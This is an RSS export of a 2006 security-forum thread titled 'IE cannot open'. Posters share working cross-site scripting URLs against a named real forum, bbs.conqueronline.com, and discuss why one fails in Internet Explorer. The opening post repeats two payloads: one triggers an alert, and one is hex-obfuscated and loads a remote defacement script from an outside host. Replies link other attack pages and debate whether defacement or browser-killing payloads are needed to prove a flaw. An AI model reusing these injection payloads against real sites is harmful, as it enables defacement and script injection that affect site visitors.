<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/">
    <channel>
        <title>IE cannot open *******</title>
        <description>http://bbs.conqueronline.com/memberlist.php?memberlist.php?action=getall&amp;amp;what=%22%3E%3Cscript%3Ealert%20('XSS')%3C/script%3E&amp;amp;ltr=&amp;amp;perpage=25&amp;amp;orderby=username

That works in all browsers. But, the stallowned one errors IE.

http://bbs.conqueronline.com/memberlist.php?memberlist.php?action=getall&amp;amp;what=%22%3E%3C%73%63%72ipt%20%73%72%63%3D%68tt%70%3A%2F%2F%68%61.%63%6B%65%72%73.org%2Fs.%6As%3E%3C%2F%73%63%72%69%70%74%3E&amp;amp;ltr=&amp;amp;perpage=25&amp;amp;orderby=username

Any thoughts?</description>
        <link>http://sla.ckers.org/forum/read.php?2,901,901#msg-901</link>
        <lastBuildDate>Thu, 23 May 2013 21:32:48 -0500</lastBuildDate>
        <generator>Phorum 5.2.15a</generator>
        <item>
            <guid>http://sla.ckers.org/forum/read.php?2,901,912#msg-912</guid>
            <title>Re: IE cannot open *******</title>
            <link>http://sla.ckers.org/forum/read.php?2,901,912#msg-912</link>
            <description><![CDATA[I made the sam error here: http://www.whiteacid.org/HTS/IE_bug.html<br />
<br />
An explanation: http://www.shaftek.org/blog/archives/000212.html]]></description>
            <dc:creator>WhiteAcid</dc:creator>
            <category>XSS Info</category>
            <pubDate>Mon, 25 Sep 2006 18:26:30 -0500</pubDate>
        </item>
        <item>
            <guid>http://sla.ckers.org/forum/read.php?2,901,911#msg-911</guid>
            <title>Re: IE cannot open *******</title>
            <link>http://sla.ckers.org/forum/read.php?2,901,911#msg-911</link>
            <description><![CDATA[I actually have been using just an alert as of late, but I frequent a section of that forum and someone asked &quot;But it's just an alert, how is that affecting anyone?&quot; so, I switched to stallowned.]]></description>
            <dc:creator>Kyran</dc:creator>
            <category>XSS Info</category>
            <pubDate>Mon, 25 Sep 2006 18:25:21 -0500</pubDate>
        </item>
        <item>
            <guid>http://sla.ckers.org/forum/read.php?2,901,906#msg-906</guid>
            <title>Re: IE cannot open *******</title>
            <link>http://sla.ckers.org/forum/read.php?2,901,906#msg-906</link>
            <description><![CDATA[Hmm... no, I'm not sure why it's doing that... but this is exactly the reason I don't like using defacement style scripts - they muddy the water.  You could easily parse it apart fix the issue and get it working, but why?  The real issue is that it  CAN include remote JavaScript.  It's an interesting problem though.  At what point does it make people aware (enough) of the dangers of the issue?  Should I include scripts that kill people's browsers (a la http://ha.ckers.org/weird/popup.html ) or something similar?  Personally I've always thought the alert box was sufficient to let people know the danger without actually causing anything on the page to die inadvertantly.]]></description>
            <dc:creator>rsnake</dc:creator>
            <category>XSS Info</category>
            <pubDate>Mon, 25 Sep 2006 18:07:08 -0500</pubDate>
        </item>
        <item>
            <guid>http://sla.ckers.org/forum/read.php?2,901,901#msg-901</guid>
            <title>IE cannot open *******</title>
            <link>http://sla.ckers.org/forum/read.php?2,901,901#msg-901</link>
            <description><![CDATA[http://bbs.conqueronline.com/memberlist.php?memberlist.php?action=getall&amp;what=%22%3E%3Cscript%3Ealert%20('XSS')%3C/script%3E&amp;ltr=&amp;perpage=25&amp;orderby=username<br />
<br />
That works in all browsers. But, the stallowned one errors IE.<br />
<br />
http://bbs.conqueronline.com/memberlist.php?memberlist.php?action=getall&amp;what=%22%3E%3C%73%63%72ipt%20%73%72%63%3D%68tt%70%3A%2F%2F%68%61.%63%6B%65%72%73.org%2Fs.%6As%3E%3C%2F%73%63%72%69%70%74%3E&amp;ltr=&amp;perpage=25&amp;orderby=username<br />
<br />
Any thoughts?]]></description>
            <dc:creator>Kyran</dc:creator>
            <category>XSS Info</category>
            <pubDate>Mon, 25 Sep 2006 17:23:52 -0500</pubDate>
        </item>
    </channel>
</rss>
